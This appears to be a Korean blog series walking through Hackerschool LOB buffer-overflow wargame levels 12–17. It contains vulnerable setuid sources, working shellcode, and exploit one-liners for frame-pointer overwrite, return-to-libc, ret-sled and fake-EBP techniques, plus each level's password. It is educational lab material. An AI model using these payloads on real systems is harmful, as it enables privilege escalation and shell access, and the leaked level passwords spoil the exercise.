반응형
반응형
반응형


해커스쿨 LOB LEVEL17 [zombie_assassin -> succubus] 풀이


M4ndU




해커스쿨 LOB [zombie_assassin -> succubus] 풀이입니다.


ID | zombie_assassin

PW | no place to hide

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: zombie_assassin

Password:

[zombie_assassin@localhost zombie_assassin]$ bash2

[zombie_assassin@localhost zombie_assassin]$ ls -l

total 20

-rwsr-sr-x    1 succubus succubus    13782 Mar 30  2010 succubus

-rw-r--r--    1 root     root         1519 Mar 30  2010 succubus.c

[zombie_assassin@localhost zombie_assassin]$ cat succubus.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


        // olleh!

        system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

        if(check != 1)

                exit(0);


        printf("welcome to the GYE!\n");

        check = 2;

}


void DO(void)

{

        printf("welcome to the DO!\n");

        check = 1;

}


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // you cannot use library

        if(strchr(argv[1], '\x40')){

                printf("You cannot use library\n");

                exit(0);

        }


        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // stack destroyer

        // 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}



소스를 보면,

        // check address

        addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


리턴주소가 무조건 DO()함수 주소여야 하네요.

그리고 각 DO GYE GUL YUT MO함수에 도달하면서 check 조건문을 만족 시키고

최종적으로 MO함수에 도달해서 쉘을 띄우면 되는 것 같습니다.


순서대로 함수를 호출하고, system()의 인자로 "/bin/sh"를 넣어주면 된다.


페이로드를 구성해보면


dummy[44]+&DO()[4]+&GYE()[4]+&GUL()[4]+&YUT()[4]+&MO()[4]+dummy[4]+&"/bin/sh"[4]+"/bin/sh"


&MO()[4]뒤에 dummy 4바이트는 MO함수의 리턴 주소를 덮어준 것이다.


그럼 각 함수의 주소를 알아낸다.


[zombie_assassin@localhost zombie_assassin]$ readelf -s ./succubus |grep FUNC

    1:  80483dc   359 FUNC    GLOBAL  0  UND strchr@GLIBC_2.0 (2)

    2:  80483ec   116 FUNC    WEAK    0  UND __register_frame_info@GLIBC_2.0 (2)

    3:  80483fc    46 FUNC    GLOBAL  0  UND isprint@GLIBC_2.0 (2)

    4:  804840c   670 FUNC    GLOBAL  0  UND system@GLIBC_2.0 (2)

    5:  804841c   162 FUNC    WEAK    0  UND __deregister_frame_info@GLIBC_2.0 (2)

    6:  804842c    30 FUNC    GLOBAL  0  UND memcmp@GLIBC_2.0 (2)

    7:  804843c   261 FUNC    GLOBAL  0  UND __libc_start_main@GLIBC_2.0 (2)

    8:  804844c    41 FUNC    GLOBAL  0  UND printf@GLIBC_2.0 (2)

    9:  804845c   232 FUNC    GLOBAL  0  UND exit@GLIBC_2.0 (2)

   10:  804846c    70 FUNC    GLOBAL  0  UND memset@GLIBC_2.0 (2)

   13:  804847c    34 FUNC    GLOBAL  0  UND strcpy@GLIBC_2.0 (2)

   37:  80484c0     0 FUNC    LOCAL   0   12 __do_global_dtors_aux

   39:  8048508     0 FUNC    LOCAL   0   12 fini_dummy

   41:  8048510     0 FUNC    LOCAL   0   12 frame_dummy

   42:  8048530     0 FUNC    LOCAL   0   12 init_dummy

   47:  8048920     0 FUNC    LOCAL   0   12 __do_global_ctors_aux

   49:  8048944     0 FUNC    LOCAL   0   12 init_dummy

   57:  8048584   416 FUNC    GLOBAL  0   12 dumpcode

   58:  80483dc   359 FUNC    GLOBAL  0  UND strchr@@GLIBC_2.0

   61:  80483ec   116 FUNC    WEAK    0  UND __register_frame_info@@GLIBC_2.0

   62:  80483fc    46 FUNC    GLOBAL  0  UND isprint@@GLIBC_2.0

   64:  804875c    47 FUNC    GLOBAL  0   12 YUT

   65:  804840c   670 FUNC    GLOBAL  0  UND system@@GLIBC_2.0

   66:  80487bc    47 FUNC    GLOBAL  0   12 GYE

   67:  804839c     0 FUNC    GLOBAL  0   10 _init

   68:  804841c   162 FUNC    WEAK    0  UND __deregister_frame_info@@GLIBC_2.0

   69:  80487ec    28 FUNC    GLOBAL  0   12 DO

   72:  804878c    47 FUNC    GLOBAL  0   12 GUL

   73:  804842c    30 FUNC    GLOBAL  0  UND memcmp@@GLIBC_2.0

   75:  8048808   268 FUNC    GLOBAL  0   12 main

   76:  804843c   261 FUNC    GLOBAL  0  UND __libc_start_main@@GLIBC_2.0

   78:  804844c    41 FUNC    GLOBAL  0  UND printf@@GLIBC_2.0

   79:  8048540    66 FUNC    GLOBAL  0   12 printchar

   80:  804894c     0 FUNC    GLOBAL  0   13 _fini

   81:  804845c   232 FUNC    GLOBAL  0  UND exit@@GLIBC_2.0

   85:  804846c    70 FUNC    GLOBAL  0  UND memset@@GLIBC_2.0

   89:  804847c    34 FUNC    GLOBAL  0  UND strcpy@@GLIBC_2.0

   90:  8048724    55 FUNC    GLOBAL  0   12 MO



DO() | 0x080487ec

GYE() | 0x080487bc

GUL() | 0x0804878c

YUT() | 0x0804875c

MO() | 0x08048724


이제 "/bin/sh"의 주소를 구해줍니다.


./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`



tmp폴더를 만들어서 복사본을 만들고 core 덤프를 일으켜서 gdb로 core 파일을 분석합니다.


[zombie_assassin@localhost zombie_assassin]$ mkdir tmp

[zombie_assassin@localhost zombie_assassin]$ cp succubus tmp/

[zombie_assassin@localhost zombie_assassin]$ cd tmp/

[zombie_assassin@localhost tmp]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"SSSS"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDDSSSS/bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

Segmentation fault (core dumped)

[zombie_assassin@localhost tmp]$ gdb -c core -q

Core was generated by `                                                                              '.

Program terminated with signal 11, Segmentation fault.

#0  0x44444444 in ?? ()

(gdb) x/10s $esp

0xbffffa94:      "SSSS/bin/sh"

0xbffffaa0:      "\b\210\004\b\002"

0xbffffaa6:      ""

0xbffffaa7:      ""

0xbffffaa8:      "퀭?234\203\004\bL\211\004\b`?

0xbffffab7:      "@술?220>\001@\002"

0xbffffac2:      ""

0xbffffac3:      ""

0xbffffac4:      "빛옮??

0xbffffacd:      ""

(gdb) x/s 0xbffffa98

0xbffffa98:      "/bin/sh"



이제 익스플로잇!

./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`



[zombie_assassin@localhost tmp]$ cd ..

[zombie_assassin@localhost zombie_assassin]$ ./succubus `python -c 'print "D"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"D"*4+"\x98\xfa\xff\xbf"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD耳?$DDDD섨?bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$

bash$ my-pass

euid = 517

here to stay



성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL16 [assassin -> zombie_assassin] 풀이


M4ndU




해커스쿨 LOB [assassin -> zombie_assassin] 풀이입니다.


ID | assassin

PW | pushing me away

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: assassin

Password:

[assassin@localhost assassin]$ bash2

[assassin@localhost assassin]$ ls -l

total 16

-rwsr-sr-x    1 zombie_a zombie_a    12144 Mar 30  2010 zombie_assassin

-rw-r--r--    1 root     root          557 Mar 30  2010 zombie_assassin.c

[assassin@localhost assassin]$ cat zombie_assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - zombie_assassin

        - FEBP

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        // strncpy instead of strcpy!

        strncpy(buffer, argv[1], 48);

        printf("%s\n", buffer);

}



이번에는 argv[1]의 길이를 48바이트로 제한한다

그러면 ret주소까지만 덮을 수 있다.


주어진 힌트는 FEBP다. fack ebp를 의미한다.


leave-ret을 이용해서

ebp를 buffer의 시작주소로 조작해주고 ret주소를 leave의 주소로 조작해준다면,


leave (mov esp, ebp; pop ebp;)

ret (pop eip; jmp eip;)

leave (mov esp, ebp; pop ebp;)

ret (pop eip; jmp eip;)


에 의해 두번째 leave부터 우리가 조작한 ebp가 esp에 들어가게 되고,

pop ebp로 buffer의 4바이트 나가고 그다음 4바이트가 pop eip로 eip에 들어간다.


페이로드를 구성하면


dummy[4]+&shellcode[4]+dummy[32]+&buffer[4]+&leave[4]



그럼 쉘코드의 주소와 buffer의 주소와 leave의 주소를 구해주자.


쉘코드는 환경변수를 이용했습니다.


[assassin@localhost assassin]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[assassin@localhost assassin]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[assassin@localhost assassin]$ gcc getenv.c -o getenv

[assassin@localhost assassin]$ ./getenv

ADDR -> 0xbffffe83




buffer의 주소를 구해줍시다.


[assassin@localhost assassin]$ mkdir tmp

[assassin@localhost assassin]$ cp zombie_assassin tmp/

[assassin@localhost assassin]$ cd tmp/

[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "D"*48'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Segmentation fault (core dumped)
[assassin@localhost tmp]$ gdb -c core -q
Core was generated by `./zombie_assassin DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'.
Program terminated with signal 11, Segmentation fault.
#0  0x44444444 in ?? ()
(gdb) x/20x $esp-80
0xbffffa30:     0x40106980      0x0804857e      0xbffffa50      0x401081ec
0xbffffa40:     0xbffffa78      0x080484dc      0x0804857e      0xbffffa50
0xbffffa50:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa60:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa70:     0x44444444      0x44444444      0x44444444      0x44444444


0xbffffa50부터 0x44로 채워져 있네요.



그 다음 leave의 주소를 구합니다.


[assassin@localhost assassin]$ gdb zombie_assassin -q

(gdb) disas main

Dump of assembler code for function main:

0x8048440 <main>:       push   %ebp

0x8048441 <main+1>:     mov    %esp,%ebp

(생략)

0x80484df <main+159>:   leave

0x80484e0 <main+160>:   ret


&shellcode | 0xbffffe83
&buffer | 0xbffffa50
&leave | 0x080484df


./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`



[assassin@localhost tmp]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ id

uid=515(assassin) gid=515(assassin) groups=515(assassin)

bash$ exit

exit

[assassin@localhost tmp]$ cd ..

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

Segmentation fault



복사본에선 쉘이 뜨는데 원본에선 뜨지 않네요..


[assassin@localhost assassin]$ mkdir h

[assassin@localhost assassin]$ cp zombie_assassin h/

[assassin@localhost assassin]$ cd h/

[assassin@localhost h]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ exit

exit

[assassin@localhost h]$ cd ..6

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "A"*4+"\x83\xfe\xff\xbf"+"A"*32+"\x50\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

AAAA껥풞AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?욀?

bash$ my-pass

euid = 516

no place to hide



음....

계속 하다보니 됐습니다...

혀튼 성공했으니 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ




반응형
반응형


해커스쿨 LOB LEVEL15 [giant -> assassin] 풀이


M4ndU




해커스쿨 LOB [giant -> assassin] 풀이입니다.


ID | giant

PW | one step closer

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: giant

Password:

[giant@localhost giant]$ bash2

[giant@localhost giant]$ ls -l

total 16

-rwsr-sr-x    1 assassin assassin    12222 Mar 30  2010 assassin

-rw-r--r--    1 root     root          587 Mar 30  2010 assassin.c

[giant@localhost giant]$ cat assassin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - assassin

        - no stack, no RTL

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(argv[1][47] == '\x40')

        {

                printf("library retbayed you, too!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // buffer+sfp hunter

        memset(buffer, 0, 44);

}



no stack, no RTL 이고 sfp도 0으로 초기화 합니다.


ret가 하는 일이 pop eip, jmp eip인데


리턴 주소를 다시 ret명령어의 주소로 덮어준다면 main함수의 프롤로그가

leave

ret

ret

와 같아겠죠 그러면 pop eip가 한번 더 되면서, 기존 리턴주소가 있던 자리에서 다음 4바이트에 있는 주소로 eip가 조작될 수 있습니다.


그럼 페이로드를 구성해보면


dummy[44]+&ret+&shellcode



먼저 ret가 있는 주소를 구합니다.


[giant@localhost giant]$ gdb -q assassin

(gdb) disas main

Dump of assembler code for function main:

0x8048470 <main>:       push   %ebp

0x8048471 <main+1>:     mov    %esp,%ebp

(생략)

0x804851d <main+173>:   leave

0x804851e <main+174>:   ret

0x804851f <main+175>:   nop

End of assembler dump.



0x0804851e이네요.


이제 쉘코드의 주소를 구합니다.

쉘코드는 환경변수를 이용하겠습니다.


[giant@localhost giant]$ mkdir tmp

[giant@localhost giant]$ cd tmp/

[giant@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[giant@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[giant@localhost tmp]$ gcc getenv.c -o getenv

[giant@localhost tmp]$ ./getenv

ADDR -> 0xbffffe99



ret | 0x0804851e
shellcode | 0xbffffe99

./assassin `python -c 'print "D"*44+"\x1e\x85\x04\x08"+"\x99\xfe\xff\xbf"'`


[giant@localhost giant]$ ./assassin `python -c 'print "D"*44+"\x1e\x85\x04\x08"+"\x99\xfe\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD숣?
bash$ my-pass
euid = 515
pushing me away



성공! 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형

 

해커스쿨 LOB LEVEL14 [bugbear -> giant] 풀이


M4ndU




해커스쿨 LOB [bugbear -> giant] 풀이입니다.


ID | bugbear

PW | new attacker

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: bugbear

Password:

[bugbear@localhost bugbear]$ bash2

[bugbear@localhost bugbear]$ ls -l

total 20

-rwsr-sr-x    1 giant    giant       12933 Mar  9  2010 giant

-rw-r--r--    1 root     root          920 Mar 29  2010 giant.c

[bugbear@localhost bugbear]$ cat giant.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - giant

        - RTL2

*/


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


main(int argc, char *argv[])

{

        char buffer[40];

        FILE *fp;

        char *lib_addr, *execve_offset, *execve_addr;

        char *ret;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // gain address of execve

        fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "(%x)", &lib_addr);

        fclose(fp);


        fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");

        fgets(buffer, 255, fp);

        sscanf(buffer, "%x", &execve_offset);

        fclose(fp);


        execve_addr = lib_addr + (int)execve_offset;

        // end


        memcpy(&ret, &(argv[1][44]), 4);

        if(ret != execve_addr)

        {

                printf("You must use execve!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



이번에는 메인함수의 리턴주소가 execve함수의 주소이네요.
하지만 구지 execve를 통해 쉘을 따야 하는 것은 아닙니다. 메인함수의 리턴주소만 execve함수 주소로 해주고 execve의 리턴주소를 system함수 주소로 덮어주어 system함수를 통해 쉘을 딸 수도 있습니다.

그럼 execve(),system(),exit()의 주소를 구해줍니다.


[bugbear@localhost bugbear]$ mkdir tmp
[bugbear@localhost bugbear]$ cp giant tmp/
[bugbear@localhost bugbear]$ cd tmp/
[bugbear@localhost tmp]$ gdb giant -q
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /home/bugbear/tmp/giant

Breakpoint 1, 0x8048566 in main ()
(gdb) p execve
$1 = {<text variable, no debug info>} 0x400a9d48 <__execve>
(gdb) p system
$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p exit
$3 = {void (int)} 0x400391e0 <exit>


execve() 0x400a9d48
system() 0x40058ae0
exit() 0x400391e0


그리고 system()의 주소를 이용해서 "/bin/sh"의 주소도 구해줍니다.

echo 'int main(){long system = 0x40058ae0; while(memcmp((void *)system, "/bin/sh", 8)) system++; printf("%p\n", system);}' >getsystem.c


[bugbear@localhost tmp]$ echo 'int main(){long system = 0x40058ae0; while(memcmp((void *)system, "/bin/sh", 8)) system++; printf("%p\n", system);}' >getsystem.c
[bugbear@localhost tmp]$ gcc -o getsystem getsystem.c
[bugbear@localhost tmp]$ ./getsystem
0x400fbff9

&"/bin/sh" 0x400fbff9

필요한 주소를 모두 구했으니 페이로드를 구성합니다.
exit()은 system()의 리턴주소를 덮습니다.

dummy[44]+execve()[4]+system()[4]+exit()[4]+&"/bin/sh"[4]+&NULL[4]

./giant `python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`

[bugbear@localhost tmp]$ ./giant `python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`
ldd: /home/giant/assassin: No such file or directory
You must use execve!

엇 execve()의 주소가 맞지 않는 것 처럼 문장이 출력되었습니다.
찾아보니 원인은 \x0a때문이었습니다.
""으로 감싸주어서 문자열 처리를 해준다면 해결이 된다고 합니다.


./giant "`python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"


[bugbear@localhost bugbear]$ ./giant "`python -c 'print "D"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xfc\xff\xff\xbf"'`"

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDH?

@?@?@廈@??

bash$ my-pass

euid = 514

one step closer



다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL13 [darkknight -> bugbear] 풀이


M4ndU




해커스쿨 LOB [darkknight -> bugbear] 풀이입니다.


ID | darkknight

PW | new attacker

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: darkknight

Password:

[darkknight@localhost darkknight]$ bash2

[darkknight@localhost darkknight]$ ls -l

total 16

-rwsr-sr-x    1 bugbear  bugbear     12043 Mar  8  2010 bugbear

-rw-r--r--    1 root     root          385 Mar 29  2010 bugbear.c

[darkknight@localhost darkknight]$ cat bugbear.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - bugbear

        - RTL1

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

        char buffer[40];

        int i;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        if(argv[1][47] == '\xbf')

        {

                printf("stack betrayed you!!\n");

                exit(0);

        }


        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);

}



리턴주소를 스택으로 돌릴 수 없다...

이번에는 RTL기법을 이용해서 문제를 푸는 것 같습니다.

공유 라이브러리에 있는 함수를 사용해서 쉘을 따야 합니다.


system함수를 사용하겠습니다. system함수의 주소를 확인합니다.


[darkknight@localhost darkknight]$ mkdir tmp

[darkknight@localhost darkknight]$ cp bugbear tmp/

[darkknight@localhost darkknight]$ cd tmp/

[darkknight@localhost tmp]$ gdb bugbear -q

(gdb) b main

Breakpoint 1 at 0x8048436

(gdb) r

Starting program: /home/darkknight/tmp/bugbear


Breakpoint 1, 0x8048436 in main ()

(gdb) p system

$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>


리턴 주소를 0x40058ae0를 덮고 system()에 인자로 "/bin/sh"의 주소를 넘기면 된다.
이 주소는 ret+4위치에 넣어주면 된다. ret 바로 다음이 아닌 4바이트를 띄는 이유는
argc와 argv가 들어가기 때문이다. argc가 먼저 들어가기 때문.

일단 "/bin/sh"의 주소를 구해야 한다.


./bugbear `python -c 'print "D"*44+"\xe0\x8a\x05\x40"+"argc"+"argv"+"/bin/sh"'`


[darkknight@localhost tmp]$ ./bugbear `python -c 'print "D"*44+"\xe0\x8a\x05\x40"+"argc"+"argv"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argcargv/bin/sh

Segmentation fault (core dumped)

[darkknight@localhost tmp]$ gdb -c core -q

Core was generated by `./bugbear DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argcargv/bin/sh'.

Program terminated with signal 11, Segmentation fault.

#0  0x63677261 in ?? ()

(gdb) x/10s $esp

0xbffffac4:      "argv/bin/sh"

0xbffffad0:      "\002"

0xbffffad2:      ""

0xbffffad3:      ""

0xbffffad4:      "\200\203\004\b"

0xbffffad9:      ""

0xbffffada:      ""

0xbffffadb:      ""

0xbffffadc:      "?203\004\b0\204\004\b\002"

0xbffffae6:      ""

(gdb) x/s $esp+4

0xbffffac8:      "/bin/sh"



찾았당


[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "D"*44+"\xe0\x8a\x05\x40"+"argc"+"\xc8\xfa\xff\xbf"+"/bin/sh"'`

DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?@argc힐?bin/sh

bash$ my-pass

euid = 513

new divide


다음레벨로 가즈아ㅏㅏㅏ!!


반응형
반응형


해커스쿨 LOB LEVEL12 [golem -> darkknight] 풀이


M4ndU




해커스쿨 LOB [golem -> darkknight] 풀이입니다.


ID | golem

PW | cup of coffee

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: golem

Password:

[golem@localhost golem]$ bash2

[golem@localhost golem]$ ls -l

total 16

-rwsr-sr-x    1 darkknig darkknig    12053 Mar  2  2010 darkknight

-rw-r--r--    1 root     root          355 Mar 29  2010 darkknight.c

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/


#include <stdio.h>

#include <stdlib.h>


void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}


main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }


        problem_child(argv[1]);

}



이번에는 버퍼오버플로우가 problem_child 함수에서 일어나는데, 1바이트밖에 조작할 수 없네요.
힌트로는 FPO가 있네요.

1바이트 오버플로우를 이용하면 ebp의 마지막 바이트를 조작할 수 있습니다.

함수의 에필로그인 leave 와 ret을 보면,

mov esp, ebp
pop ebp

pop eip
jmp eip

와 하는 일이 같은데, 우리가 ebp의 주소를 조작해 준다면
조작된 주소가 ebp에 담기고 (pop ebp)

main함수 에필로그에서
조작된 ebp가 esp에 담긴다. (mov esp, ebp)
[esp-1][esp-4]까지 ebp가 되고 (pop ebp)
[esp-5][esp-8]까지 eip가 되면서 (pop eip)
eip가 조작될 수 있다.


일단 값을 넣고

스택을 한번봅시다.


[golem@localhost tmp]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\xff"*100'`

릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                     ??퓹懶엥?옹   @

Segmentation fault (core dumped)

[golem@localhost tmp]$ gdb -c core -q

Core was generated by `./darkknight 릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                                                         ?'.

Program terminated with signal 11, Segmentation fault.

#0  0xfffeebbf in ?? ()

(gdb) x/100x 0xbffffa50
0xbffffa50:     0xbffffa54      0x90909090      0x90909090      0x90909090
0xbffffa60:     0x31909090      0x2f6850c0      0x6868732f      0x6e69622f
0xbffffa70:     0x5350e389      0xc289e189      0x80cd0bb0      0xbffffaff
0xbffffa80:     0x0804849e      0xbffffbd4      0xbffffaa8      0x400309cb

buffer의 시작주소인 0xbffffa54의 값이 0xbffffa50에 있고
41번째에 넣은 0xff로 인해 ebp가 0xbffffaff로 조작된 것을 확인할 수 있습니다.

이 ebp를  0xbffffa4c으로 조작하면 eip가 buffer의 시작주소로 조작이 되겠죠.


[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\ x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\ xcd\x80"+"\x4c"*100'`

릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?

                                     ?L?퓹懶엥?옹   @

bash$ my-pass

euid = 512

new attacker


성공입니다. 다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


